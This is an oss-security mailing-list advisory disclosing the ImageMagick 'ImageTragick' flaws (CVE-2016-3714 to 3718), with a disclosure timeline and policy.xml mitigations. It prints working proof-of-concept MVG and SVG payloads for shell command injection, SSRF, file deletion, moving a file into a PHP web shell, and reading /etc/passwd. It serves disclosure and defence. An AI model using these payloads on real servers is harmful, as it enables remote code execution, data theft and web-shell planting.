Date: Wed, 4 May 2016 01:38:49 +0300 From: Karim Valiev <valievkarim@...il.com> To: oss-security@...ts.openwall.com Subject: Re: ImageMagick Is On Fire -- CVE-2016-3714 The exploit was posted at Hacker News comments thread, so it's time to disclose the full story. Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this fix seems to be incomplete. We are still working with developers. ImageMagick: Multiple vulnerabilities in image decoder 1. CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests: "wget" -q -O "%o" "https:%M" where %M is the actual link from the input. It is possible to pass the value like `https://example.com"|ls "-la` and execute unexpected 'ls -la'. (wget or curl should be installed) $ convert 'https://example.com"|ls "-la' out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to https://hackerone.com/stewie for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others - which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue. exploit.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context exploit.svg -=-=-=-=-=-=-=-=- <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg> $ convert exploit.mvg out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In addition, ImageMagick's tool 'identify' is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via 'less exploit.jpg', because 'identify' is invoked via lesspipe.sh). Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg. All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg. 2. CVE-2016-3718 - SSRF It is possible to make HTTP GET or FTP request: ssrf.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context $ convert ssrf.mvg out.png # makes http request to example.com 3. CVE-2016-3715 - File deletion It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading: delete_file.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context $ touch /tmp/delete.txt $ convert delete_file.mvg out.png # deletes /tmp/delete.txt 4. CVE-2016-3716 - File moving It is possible to move image files to file with any extension in any folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and image.gif should exist in known location - /tmp/ for PoC (in real life it may be web service written in PHP, which allows to upload raw txt files and process images with ImageMagick): file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> /tmp/image.gif - image with php shell inside (https://www.secgeek.net/POC/POC.gif for example) $ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php 5. CVE-2016-3717 - Local file read (independently reported by original research author - https://hackerone.com/stewie) It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol: file_read.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context $ convert file_read.mvg out.png # produces file with text rendered from /etc/passwd How to mitigate the vulnerability. Available patches appear to be incomplete. If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one these two things (but preferably both!): 1. Verify that all image files begin with the expected “magic bytes” corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info) 2. Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in “/etc/ImageMagick”. This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL: <policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap> Vulnerability Disclosure Timeline: April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team. April, 21 2016 - file read vulnerability patched by My.Com development team April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report April, 30 2016 - code execution vulnerability reported to ImageMagick development team April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix) April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix) May, 1 2016 - ImageMagic informed of the fix bypass May, 2 2016 - limited disclosure to 'distros' mailing list May, 3 2016 - public disclosure at https://imagetragick.com/ -- Karim Valiev Mail.Ru Security Team On 05/03/2016 09:15 PM, Solar Designer wrote: > Thank you for bringing this in here, Ryan. > > On Tue, May 03, 2016 at 10:59:12AM -0700, Ryan Huber wrote: >> What are "magic bytes"? >> >> The first few bytes of a file can often used to identify the type of >> file. Some examples are GIF images, which start with the hex bytes "47 >> 49 46 38", and JPEG images, which start with "FF D8". This list on >> Wikipedia has the magic bytes for most common file types. > > It may be preferable to refer to ImageMagick's own list of magics. > HD Moore tweeted the relevant links: > > <hdmoore> Two reasons you probably shouldn't be using ImageMagick in your web applications: https://github.com/ImageMagick/ImageMagick/blob/8c9d68ca4241b6faafa7a35658a125c3500a5edf/MagickCore/magic.c#L89 & https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/www/source/delegates.xml#L62 > <hdmoore> ImageTragick: Upload(meme.png)->(IM detects non-png format based on file magic)->(IM uses insecure delegates to decode)->Shells! > >> ImageMagick also disclosed this on their forum a few hours ago. > > https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588 > > Alexander >
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